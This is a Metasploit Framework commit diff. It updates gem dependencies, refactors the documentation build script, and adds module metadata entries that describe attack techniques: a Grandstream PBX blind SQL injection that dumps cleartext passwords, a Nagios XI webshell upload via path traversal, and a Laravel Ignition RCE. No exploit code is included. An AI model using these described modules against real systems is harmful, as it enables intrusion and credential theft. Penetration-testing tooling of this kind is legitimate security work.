diff --git a/Gemfile b/Gemfile index a3e0a199f6..8ff2b3d38f 100755 --- a/Gemfile +++ b/Gemfile @@ -45,5 +45,3 @@ group :test do # Manipulate Time.now in specs gem 'timecop' end - -gem 'ruby_smb', git: 'https://github.com/usiegl00/ruby_smb.git', branch: 'mitm-dispatcher' diff --git a/Gemfile.lock b/Gemfile.lock index 4a4738af29..4a87f35202 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,19 +1,7 @@ -GIT - remote: https://github.com/usiegl00/ruby_smb.git - revision: 5dc4e89022d315f5f3e47b208a8c2ef0abf7c5eb - branch: mitm-dispatcher - specs: - ruby_smb (3.0.2) - bindata - openssl-ccm - openssl-cmac - rubyntlm - windows_error (>= 0.1.3) - PATH remote: . specs: - metasploit-framework (6.1.30) + metasploit-framework (6.1.31) actionpack (~> 6.0) activerecord (~> 6.0) activesupport (~> 6.0) @@ -41,7 +29,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.72) + metasploit-payloads (= 2.0.74) metasploit_data_models metasploit_payloads-mettle (= 1.0.18) mqtt @@ -108,25 +96,25 @@ GEM remote: https://rubygems.org/ specs: Ascii85 (1.1.0) - actionpack (6.1.4.4) - actionview (= 6.1.4.4) - activesupport (= 6.1.4.4) + actionpack (6.1.4.6) + actionview (= 6.1.4.6) + activesupport (= 6.1.4.6) rack (~> 2.0, >= 2.0.9) rack-test (>= 0.6.3) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.0, >= 1.2.0) - actionview (6.1.4.4) - activesupport (= 6.1.4.4) + actionview (6.1.4.6) + activesupport (= 6.1.4.6) builder (~> 3.1) erubi (~> 1.4) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.1, >= 1.2.0) - activemodel (6.1.4.4) - activesupport (= 6.1.4.4) - activerecord (6.1.4.4) - activemodel (= 6.1.4.4) - activesupport (= 6.1.4.4) - activesupport (6.1.4.4) + activemodel (6.1.4.6) + activesupport (= 6.1.4.6) + activerecord (6.1.4.6) + activemodel (= 6.1.4.6) + activesupport (= 6.1.4.6) + activesupport (6.1.4.6) concurrent-ruby (~> 1.0, >= 1.0.2) i18n (>= 1.6, < 2) minitest (>= 5.1) @@ -139,13 +127,13 @@ GEM activerecord (>= 3.1.0, < 8) ast (2.4.2) aws-eventstream (1.2.0) - aws-partitions (1.553.0) - aws-sdk-core (3.126.0) + aws-partitions (1.554.0) + aws-sdk-core (3.126.2) aws-eventstream (~> 1, >= 1.0.2) aws-partitions (~> 1, >= 1.525.0) aws-sigv4 (~> 1.1) jmespath (~> 1.0) - aws-sdk-ec2 (1.298.0) + aws-sdk-ec2 (1.299.0) aws-sdk-core (~> 3, >= 3.126.0) aws-sigv4 (~> 1.1) aws-sdk-iam (1.66.0) @@ -195,7 +183,7 @@ GEM railties (>= 5.0.0) faker (2.19.0) i18n (>= 1.6, < 2) - faraday (1.9.3) + faraday (1.10.0) faraday-em_http (~> 1.0) faraday-em_synchrony (~> 1.0) faraday-excon (~> 1.1) @@ -237,12 +225,12 @@ GEM domain_name (~> 0.5) http_parser.rb (0.8.0) httpclient (2.8.3) - i18n (1.9.1) + i18n (1.10.0) concurrent-ruby (~> 1.0) io-console (0.5.11) irb (1.3.6) reline (>= 0.2.5) - jmespath (1.5.0) + jmespath (1.6.0) jsobfu (0.4.2) rkelly-remix json (2.6.1) @@ -250,7 +238,7 @@ GEM logging (2.3.0) little-plugger (~> 1.1) multi_json (~> 1.14) - loofah (2.13.0) + loofah (2.14.0) crass (~> 1.0.2) nokogiri (>= 1.5.9) memory_profiler (1.0.0) @@ -273,7 +261,7 @@ GEM activemodel (~> 6.0) activesupport (~> 6.0) railties (~> 6.0) - metasploit-payloads (2.0.72) + metasploit-payloads (2.0.74) metasploit_data_models (5.0.4) activerecord (~> 6.0) activesupport (~> 6.0) @@ -289,7 +277,7 @@ GEM mini_portile2 (2.7.1) minitest (5.15.0) mqtt (0.5.0) - msgpack (1.4.4) + msgpack (1.4.5) multi_json (1.15.0) multipart-post (2.1.1) mustermann (1.1.1) @@ -323,7 +311,7 @@ GEM hashery (~> 2.0) ruby-rc4 ttfunk - pg (1.3.1) + pg (1.3.2) pry (0.13.1) coderay (~> 1.1) method_source (~> 1.0) @@ -331,11 +319,11 @@ GEM byebug (~> 11.0) pry (~> 0.13.0) public_suffix (4.0.6) - puma (5.6.1) + puma (5.6.2) nio4r (~> 2.0) racc (1.6.0) rack (2.2.3) - rack-protection (2.1.0) + rack-protection (2.2.0) rack rack-test (1.1.0) rack (>= 1.0, < 3) @@ -344,9 +332,9 @@ GEM nokogiri (>= 1.6) rails-html-sanitizer (1.4.2) loofah (~> 2.3) - railties (6.1.4.4) - actionpack (= 6.1.4.4) - activesupport (= 6.1.4.4) + railties (6.1.4.6) + actionpack (= 6.1.4.6) + activesupport (= 6.1.4.6) method_source rake (>= 0.13) thor (~> 1.0) @@ -356,7 +344,7 @@ GEM recog (2.3.22) nokogiri redcarpet (3.5.1) - regexp_parser (2.2.0) + regexp_parser (2.2.1) reline (0.2.5) io-console (~> 0.5) rex-arch (0.1.14) @@ -367,7 +355,7 @@ GEM rex-core rex-struct2 rex-text - rex-core (0.1.25) + rex-core (0.1.26) rex-encoder (0.1.6) metasm rex-arch @@ -386,7 +374,7 @@ GEM rex-arch rex-ole (0.1.7) rex-text - rex-powershell (0.1.94) + rex-powershell (0.1.95) rex-random_identifier rex-text ruby-rc4 @@ -441,13 +429,19 @@ GEM rubocop-ast (>= 1.15.1, < 2.0) ruby-progressbar (~> 1.7) unicode-display_width (>= 1.4.0, < 3.0) - rubocop-ast (1.15.1) + rubocop-ast (1.15.2) parser (>= 3.0.1.1) ruby-macho (3.0.0) ruby-prof (1.4.2) ruby-progressbar (1.11.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.5) + ruby_smb (3.0.6) + bindata + openssl-ccm + openssl-cmac + rubyntlm + windows_error (>= 0.1.4) rubyntlm (0.6.3) rubyzip (2.3.2) sawyer (0.8.2) @@ -459,10 +453,10 @@ GEM simplecov-html (0.12.3) simpleidn (0.2.1) unf (~> 0.1.4) - sinatra (2.1.0) + sinatra (2.2.0) mustermann (~> 1.0) rack (~> 2.2) - rack-protection (= 2.1.0) + rack-protection (= 2.2.0) tilt (~> 2.0) sqlite3 (1.4.2) sshkey (2.0.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 70f7e69782..d4a5f41a6b 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -1,18 +1,18 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh Ascii85, 1.1.0, MIT -actionpack, 6.1.4.4, MIT -actionview, 6.1.4.4, MIT -activemodel, 6.1.4.4, MIT -activerecord, 6.1.4.4, MIT -activesupport, 6.1.4.4, MIT +actionpack, 6.1.4.6, MIT +actionview, 6.1.4.6, MIT +activemodel, 6.1.4.6, MIT +activerecord, 6.1.4.6, MIT +activesupport, 6.1.4.6, MIT addressable, 2.8.0, "Apache 2.0" afm, 0.2.2, MIT arel-helpers, 2.14.0, MIT ast, 2.4.2, MIT aws-eventstream, 1.2.0, "Apache 2.0" -aws-partitions, 1.553.0, "Apache 2.0" -aws-sdk-core, 3.126.0, "Apache 2.0" -aws-sdk-ec2, 1.298.0, "Apache 2.0" +aws-partitions, 1.554.0, "Apache 2.0" +aws-sdk-core, 3.126.2, "Apache 2.0" +aws-sdk-ec2, 1.299.0, "Apache 2.0" aws-sdk-iam, 1.66.0, "Apache 2.0" aws-sdk-kms, 1.54.0, "Apache 2.0" aws-sdk-s3, 1.112.0, "Apache 2.0" @@ -41,7 +41,7 @@ eventmachine, 1.2.7, "ruby, GPL-2.0" factory_bot, 6.2.0, MIT factory_bot_rails, 6.2.0, MIT faker, 2.19.0, MIT -faraday, 1.9.3, MIT +faraday, 1.10.0, MIT faraday-em_http, 1.0.0, MIT faraday-em_synchrony, 1.0.0, MIT faraday-excon, 1.1.0, MIT @@ -64,29 +64,29 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0" http-cookie, 1.0.4, MIT http_parser.rb, 0.8.0, MIT httpclient, 2.8.3, ruby -i18n, 1.9.1, MIT +i18n, 1.10.0, MIT io-console, 0.5.11, "ruby, Simplified BSD" irb, 1.3.6, "ruby, Simplified BSD" -jmespath, 1.5.0, "Apache 2.0" +jmespath, 1.6.0, "Apache 2.0" jsobfu, 0.4.2, "New BSD" json, 2.6.1, ruby little-plugger, 1.1.4, MIT logging, 2.3.0, MIT -loofah, 2.13.0, MIT +loofah, 2.14.0, MIT memory_profiler, 1.0.0, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 4.0.3, "New BSD" metasploit-credential, 5.0.5, "New BSD" -metasploit-framework, 6.1.30, "New BSD" +metasploit-framework, 6.1.31, "New BSD" metasploit-model, 4.0.3, "New BSD" -metasploit-payloads, 2.0.72, "3-clause (or ""modified"") BSD" +metasploit-payloads, 2.0.74, "3-clause (or ""modified"") BSD" metasploit_data_models, 5.0.4, "New BSD" metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD" method_source, 1.0.0, MIT mini_portile2, 2.7.1, MIT minitest, 5.15.0, MIT mqtt, 0.5.0, MIT -msgpack, 1.4.4, "Apache 2.0" +msgpack, 1.4.5, "Apache 2.0" multi_json, 1.15.0, MIT multipart-post, 2.1.1, MIT mustermann, 1.1.1, MIT @@ -108,35 +108,35 @@ parser, 3.1.0.0, MIT patch_finder, 1.0.2, "New BSD" pcaprub, 0.13.1, LGPL-2.1 pdf-reader, 2.9.1, MIT -pg, 1.3.1, "Simplified BSD" +pg, 1.3.2, "Simplified BSD" pry, 0.13.1, MIT pry-byebug, 3.9.0, MIT public_suffix, 4.0.6, MIT -puma, 5.6.1, "New BSD" +puma, 5.6.2, "New BSD" racc, 1.6.0, "ruby, Simplified BSD" rack, 2.2.3, MIT -rack-protection, 2.1.0, MIT +rack-protection, 2.2.0, MIT rack-test, 1.1.0, MIT rails-dom-testing, 2.0.3, MIT rails-html-sanitizer, 1.4.2, MIT -railties, 6.1.4.4, MIT +railties, 6.1.4.6, MIT rainbow, 3.1.1, MIT rake, 13.0.6, MIT rb-readline, 0.5.5, BSD recog, 2.3.22, unknown redcarpet, 3.5.1, MIT -regexp_parser, 2.2.0, MIT +regexp_parser, 2.2.1, MIT reline, 0.2.5, ruby rex-arch, 0.1.14, "New BSD" rex-bin_tools, 0.1.8, "New BSD" -rex-core, 0.1.25, "New BSD" +rex-core, 0.1.26, "New BSD" rex-encoder, 0.1.6, "New BSD" rex-exploitation, 0.1.28, "New BSD" rex-java, 0.1.6, "New BSD" rex-mime, 0.1.6, "New BSD" rex-nop, 0.1.2, "New BSD" rex-ole, 0.1.7, "New BSD" -rex-powershell, 0.1.94, "New BSD" +rex-powershell, 0.1.95, "New BSD" rex-random_identifier, 0.1.8, "New BSD" rex-registry, 0.1.4, "New BSD" rex-rop_builder, 0.1.4, "New BSD" @@ -155,20 +155,20 @@ rspec-rails, 5.1.0, MIT rspec-rerun, 1.1.0, MIT rspec-support, 3.11.0, MIT rubocop, 1.25.1, MIT -rubocop-ast, 1.15.1, MIT +rubocop-ast, 1.15.2, MIT ruby-macho, 3.0.0, MIT ruby-prof, 1.4.2, "Simplified BSD" ruby-progressbar, 1.11.0, MIT ruby-rc4, 0.1.5, MIT ruby2_keywords, 0.0.5, "ruby, Simplified BSD" -ruby_smb, 3.0.2, "New BSD" +ruby_smb, 3.0.4, "New BSD" rubyntlm, 0.6.3, MIT rubyzip, 2.3.2, "Simplified BSD" sawyer, 0.8.2, MIT simplecov, 0.18.2, MIT simplecov-html, 0.12.3, MIT simpleidn, 0.2.1, MIT -sinatra, 2.1.0, MIT +sinatra, 2.2.0, MIT sqlite3, 1.4.2, "New BSD" sshkey, 2.0.0, MIT swagger-blocks, 3.0.0, MIT diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 2e0219e813..dca7489020 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -18020,6 +18020,65 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_gather/grandstream_ucm62xx_sql_account_guess": { + "name": "Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump", + "fullname": "auxiliary/gather/grandstream_ucm62xx_sql_account_guess", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2020-03-30", + "type": "auxiliary", + "author": [ + "jbaines-r7" + ], + "description": "This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx\n IP PBX to dump the users table. The injection occurs over a websocket at the websockify\n endpoint, and specifically occurs when the user requests the challenge (as part of a\n challenge and response authentication scheme). The injection is blind, but the server\n response contains a different status code if the query was successful. As such, the\n attacker can guess the contents of the user database. Most helpfully, the passwords are\n stored in cleartext within the user table (CVE-2020-5723).\n\n This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22.", + "references": [ + "CVE-2020-5724", + "CVE-2020-5723", + "URL-https://firmware.grandstream.com/Release_Note_UCM6xxx_1.0.20.22.pdf", + "URL-https://raw.githubusercontent.com/tenable/poc/master/grandstream/ucm62xx/dump_http_user_creds.py" + ], + "platform": "", + "arch": "", + "rport": 8089, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2022-02-15 10:47:30 +0000", + "path": "/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.rb", + "is_install_path": true, + "ref_name": "gather/grandstream_ucm62xx_sql_account_guess", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + + ], + "Reliability": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_gather/hp_enum_perfd": { "name": "HP Operations Manager Perfd Environment Scanner", "fullname": "auxiliary/gather/hp_enum_perfd", @@ -30273,7 +30332,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-07 12:56:16 +0000", + "mod_time": "2022-02-15 16:39:00 +0000", "path": "/modules/auxiliary/scanner/http/log4shell_scanner.rb", "is_install_path": true, "ref_name": "scanner/http/log4shell_scanner", @@ -30955,7 +31014,8 @@ "CVE-2019-15949", "CVE-2020-5791", "CVE-2020-5792", - "CVE-2020-35578" + "CVE-2020-35578", + "CVE-2021-37343" ], "platform": "", "arch": "", @@ -30976,7 +31036,7 @@ "https" ], "targets": null, - "mod_time": "2021-08-27 17:15:33 +0000", + "mod_time": "2022-02-05 18:21:18 +0000", "path": "/modules/auxiliary/scanner/http/nagios_xi_scanner.rb", "is_install_path": true, "ref_name": "scanner/http/nagios_xi_scanner", @@ -54522,7 +54582,7 @@ "targets": [ "Auto" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2022-02-12 21:39:12 +0000", "path": "/modules/exploits/android/local/binder_uaf.rb", "is_install_path": true, "ref_name": "android/local/binder_uaf", @@ -54572,7 +54632,7 @@ "Old Samsung", "Samsung Grand" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2022-02-12 21:39:12 +0000", "path": "/modules/exploits/android/local/futex_requeue.rb", "is_install_path": true, "ref_name": "android/local/futex_requeue", @@ -54676,7 +54736,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2022-02-12 21:39:12 +0000", "path": "/modules/exploits/android/local/put_user_vroot.rb", "is_install_path": true, "ref_name": "android/local/put_user_vroot", @@ -54920,7 +54980,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-02-12 21:39:12 +0000", "path": "/modules/exploits/apple_ios/browser/webkit_trident.rb", "is_install_path": true, "ref_name": "apple_ios/browser/webkit_trident", @@ -62838,6 +62898,68 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/nagios_xi_autodiscovery_webshell": { + "name": "Nagios XI Autodiscovery Webshell Upload", + "fullname": "exploit/linux/http/nagios_xi_autodiscovery_webshell", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2021-07-15", + "type": "exploit", + "author": [ + "Claroty Team82", + "jbaines-r7" + ], + "description": "This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).\n The path traversal allows a remote and authenticated administrator to upload a PHP web shell\n and execute code as `www-data`. The module achieves this by creating an autodiscovery job\n with an `id` field containing a path traversal to a writable and remotely accessible directory,\n and `custom_ports` field containing the web shell. A cron file will be created using the chosen\n path and file name, and the web shell is embedded in the file.\n\n After the web shell has been written to the victim, this module will then use the web shell to\n establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by\n the module, and the autodiscovery job is removed as well.", + "references": [ + "CVE-2021-37343", + "URL-https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/" + ], + "platform": "Linux,Unix", + "arch": "cmd, x86, x64", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2022-02-10 17:39:07 +0000", + "path": "/modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb", + "is_install_path": true, + "ref_name": "linux/http/nagios_xi_autodiscovery_webshell", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_linux/http/nagios_xi_chained_rce": { "name": "Nagios XI Chained Remote Code Execution", "fullname": "exploit/linux/http/nagios_xi_chained_rce", @@ -83194,7 +83316,7 @@ "Windows", "Linux" ], - "mod_time": "2022-01-13 11:51:39 +0000", + "mod_time": "2022-02-03 16:09:49 +0000", "path": "/modules/exploits/multi/http/log4shell_header_injection.rb", "is_install_path": true, "ref_name": "multi/http/log4shell_header_injection", @@ -89868,7 +89990,7 @@ "Windows", "Unix" ], - "mod_time": "2022-01-21 09:40:23 +0000", + "mod_time": "2022-02-03 16:09:49 +0000", "path": "/modules/exploits/multi/http/ubiquiti_unifi_log4shell.rb", "is_install_path": true, "ref_name": "multi/http/ubiquiti_unifi_log4shell", @@ -90426,7 +90548,7 @@ "Windows", "Linux" ], - "mod_time": "2022-01-13 15:05:43 +0000", + "mod_time": "2022-02-03 16:09:49 +0000", "path": "/modules/exploits/multi/http/vmware_vcenter_log4shell.rb", "is_install_path": true, "ref_name": "multi/http/vmware_vcenter_log4shell", @@ -94647,6 +94769,67 @@ "session_types": false, "needs_cleanup": null }, + "exploit_multi/php/ignition_laravel_debug_rce": { + "name": "Unauthenticated remote code execution in Ignition", + "fullname": "exploit/multi/php/ignition_laravel_debug_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2021-01-13", + "type": "exploit", + "author": [ + "Heyder Andrade ", + "ambionics" + ], + "description": "Ignition before 2.5.2, as used in Laravel and other products,\n allows unauthenticated remote attackers to execute arbitrary code\n because of insecure usage of file_get_contents() and file_put_contents().\n This is exploitable on sites using debug mode with Laravel before 8.4.2.", + "references": [ + "CVE-2021-3129", + "URL-https://www.ambionics.io/blog/laravel-debug-rce" + ], + "platform": "Linux,OSX,Unix,Windows", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix (In-Memory)", + "Windows (In-Memory)" + ], + "mod_time": "2022-02-15 08:47:50 +0000", + "path": "/modules/exploits/multi/php/ignition_laravel_debug_rce.rb", + "is_install_path": true, + "ref_name": "multi/php/ignition_laravel_debug_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/php/php_unserialize_zval_cookie": { "name": "PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)", "fullname": "exploit/multi/php/php_unserialize_zval_cookie", @@ -153360,7 +153543,7 @@ "URL-https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818" ], "platform": "Windows", - "arch": "", + "arch": "x86, x64", "rport": 5555, "autofilter_ports": [ @@ -153371,7 +153554,7 @@ "targets": [ "HP Data Protector 8.10 / Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-02-15 18:03:13 +0000", "path": "/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/misc/hp_dataprotector_cmd_exec", @@ -190850,7 +191033,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2022-01-20 13:11:24 +0000", "path": "/modules/post/osx/gather/hashdump.rb", "is_install_path": true, "ref_name": "osx/gather/hashdump", @@ -190860,7 +191043,8 @@ "notes": { }, "session_types": [ - "shell" + "shell", + "meterpreter" ], "needs_cleanup": null }, @@ -199657,186 +199841,6 @@ ], "needs_cleanup": null }, - "post_windows/manage/vss_create": { - "name": "Windows Manage Create Shadow Copy", - "fullname": "post/windows/manage/vss_create", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "post", - "author": [ - "theLightCosine " - ], - "description": "This module will attempt to create a new volume shadow copy.\n This is based on the VSSOwn Script originally posted by\n Tim Tomes and Mark Baggett.\n\n Works on win2k3 and later.", - "references": [ - "URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html" - ], - "platform": "Windows", - "arch": "", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2021-01-04 10:53:15 +0000", - "path": "/modules/post/windows/manage/vss_create.rb", - "is_install_path": true, - "ref_name": "windows/manage/vss_create", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": [ - "meterpreter" - ], - "needs_cleanup": null - }, - "post_windows/manage/vss_list": { - "name": "Windows Manage List Shadow Copies", - "fullname": "post/windows/manage/vss_list", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "post", - "author": [ - "theLightCosine " - ], - "description": "This module will attempt to list any Volume Shadow Copies\n on the system. This is based on the VSSOwn Script\n originally posted by Tim Tomes and Mark Baggett.\n\n Works on win2k3 and later.", - "references": [ - "URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html" - ], - "platform": "Windows", - "arch": "", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2021-01-04 10:53:15 +0000", - "path": "/modules/post/windows/manage/vss_list.rb", - "is_install_path": true, - "ref_name": "windows/manage/vss_list", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": [ - "meterpreter" - ], - "needs_cleanup": null - }, - "post_windows/manage/vss_mount": { - "name": "Windows Manage Mount Shadow Copy", - "fullname": "post/windows/manage/vss_mount", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "post", - "author": [ - "theLightCosine " - ], - "description": "This module will attempt to mount a Volume Shadow Copy\n on the system. This is based on the VSSOwn Script\n originally posted by Tim Tomes and Mark Baggett.\n\n Works on win2k3 and later.", - "references": [ - "URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html" - ], - "platform": "Windows", - "arch": "", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2021-10-06 13:43:31 +0000", - "path": "/modules/post/windows/manage/vss_mount.rb", - "is_install_path": true, - "ref_name": "windows/manage/vss_mount", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": [ - "meterpreter" - ], - "needs_cleanup": null - }, - "post_windows/manage/vss_set_storage": { - "name": "Windows Manage Set Shadow Copy Storage Space", - "fullname": "post/windows/manage/vss_set_storage", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "post", - "author": [ - "theLightCosine " - ], - "description": "This module will attempt to change the amount of space\n for volume shadow copy storage. This is based on the\n VSSOwn Script originally posted by Tim Tomes and\n Mark Baggett.\n\n Works on win2k3 and later.", - "references": [ - "URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html" - ], - "platform": "Windows", - "arch": "", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2021-01-04 10:53:15 +0000", - "path": "/modules/post/windows/manage/vss_set_storage.rb", - "is_install_path": true, - "ref_name": "windows/manage/vss_set_storage", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": [ - "meterpreter" - ], - "needs_cleanup": null - }, - "post_windows/manage/vss_storage": { - "name": "Windows Manage Get Shadow Copy Storage Info", - "fullname": "post/windows/manage/vss_storage", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "post", - "author": [ - "theLightCosine " - ], - "description": "This module will attempt to get volume shadow copy storage info.\n This is based on the VSSOwn Script originally posted by\n Tim Tomes and Mark Baggett.\n\n Works on win2k3 and later.", - "references": [ - "URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html" - ], - "platform": "Windows", - "arch": "", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2021-01-04 10:53:15 +0000", - "path": "/modules/post/windows/manage/vss_storage.rb", - "is_install_path": true, - "ref_name": "windows/manage/vss_storage", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": [ - "meterpreter" - ], - "needs_cleanup": null - }, "post_windows/manage/wdigest_caching": { "name": "Windows Post Manage WDigest Credential Caching", "fullname": "post/windows/manage/wdigest_caching", diff --git a/docs/build.rb b/docs/build.rb index 1f728e802f..2597dbd611 100644 --- a/docs/build.rb +++ b/docs/build.rb @@ -13,7 +13,7 @@ require 'optparse' # merged with metasploit-framework, and the old wiki will no longer be updated. module Build WIKI_PATH = 'metasploit-framework.wiki'.freeze - PRODUCTION_BUILD_ARTIFACTS = '_site' + PRODUCTION_BUILD_ARTIFACTS = '_site'.freeze # For now we Git clone the existing metasploit wiki and generate the Jekyll markdown files # for each build. This allows changes to be made to the existing wiki until it's migrated @@ -28,7 +28,7 @@ module Build end end - # Configuration for generating the new website hierachy, from the existing metasploit-framework wiki + # Configuration for generating the new website hierarchy, from the existing metasploit-framework wiki class Config include Enumerable def initialize @@ -747,7 +747,7 @@ module Build # Ensure new file paths are only alphanumeric and hyphenated new_paths = to_enum.map { |page| page[:new_path] } - invalid_new_paths = new_paths.select { |path| File.basename(path) !~ /^[a-zA-Z0-9_-]*\.md$/ } + invalid_new_paths = new_paths.reject { |path| File.basename(path) =~ /^[a-zA-Z0-9_-]*\.md$/ } raise "Only alphanumeric and hyphenated file names required: #{invalid_new_paths}" if invalid_new_paths.any? end @@ -984,9 +984,27 @@ module Build end end + # Parses a wiki page and can add/remove/update a deprecation notice + class WikiDeprecationText + MARKDOWN_PREFIX = '#### Documentation Update:'.freeze + private_constant :MARKDOWN_PREFIX + + def self.upsert(original_wiki_content, new_url:) + message = "#{MARKDOWN_PREFIX} This is viewable at [#{new_url}](#{new_url})\n\n" + "#{message}#{WikiDeprecationText.remove(original_wiki_content)}" + end + + def self.remove(original_wiki_content) + original_wiki_content.gsub(/#{MARKDOWN_PREFIX}.*$\s+/, '') + end + end + # Converts Wiki markdown pages into a valid Jekyll format class WikiMigration - def run(config) + # Implements two core components: + # - Converts the existing Wiki markdown pages into a Jekyll format + # - Optionally updates the existing Wiki markdown pages with a link to the new website location + def run(config, options = {}) config.validate! # Clean up new docs folder in preparation for regenerating it entirely from the latest wiki @@ -999,7 +1017,7 @@ module Build page_config = { layout: 'default', **page.slice(:title, :has_children, :nav_order), - parent: (page[:parents][-1] || {})[:title], + parent: (page[:parents][-1] || {})[:title] }.compact page_config[:has_children] = true if page[:has_children] @@ -1014,13 +1032,25 @@ module Build FileUtils.mkdir_p(File.dirname(new_path)) if page[:folder] - content = preamble.rstrip + "\n" + new_docs_content = preamble.rstrip + "\n" else - content = File.read(File.join(WIKI_PATH, page[:path]), encoding: Encoding::UTF_8) - content = preamble + content - content = link_corrector.rerender(content) + old_path = File.join(WIKI_PATH, page[:path]) + previous_content = File.read(old_path, encoding: Encoding::UTF_8) + new_docs_content = preamble + WikiDeprecationText.remove(previous_content) + new_docs_content = link_corrector.rerender(new_docs_content) + + # Update the existing Wiki with links to the new website + if options[:update_existing_wiki] + new_url = options[:update_existing_wiki][:new_website_url] + if page[:new_path] != 'home.md' + new_url += 'docs/' + page[:new_path].gsub('.md', '.html') + end + updated_wiki_content = WikiDeprecationText.upsert(previous_content, new_url: new_url) + File.write(old_path, updated_wiki_content) + end end - File.write(new_path, content, mode: 'w', encoding: Encoding::UTF_8) + + File.write(new_path, new_docs_content, mode: 'w', encoding: Encoding::UTF_8) end # Now that the docs folder is created, time to move the home.md file out @@ -1066,7 +1096,7 @@ module Build def self.run_command(command, exception: true) puts command - result = "" + result = '' ::Open3.popen2e( { 'BUNDLE_GEMFILE' => File.join(Dir.pwd, 'Gemfile') }, '/bin/bash', '--login', '-c', command @@ -1076,16 +1106,15 @@ module Build while wait_thread.alive? ready = IO.select([stdout_and_stderr], nil, nil, 1) - if ready - reads, _writes, _errors = ready + next unless ready + reads, _writes, _errors = ready - reads.to_a.each do |io| - data = io.read_nonblock(1024) - puts data - result += data - rescue EOFError, Errno::EAGAIN - # noop - end + reads.to_a.each do |io| + data = io.read_nonblock(1024) + puts data + result += data + rescue EOFError, Errno::EAGAIN + # noop end 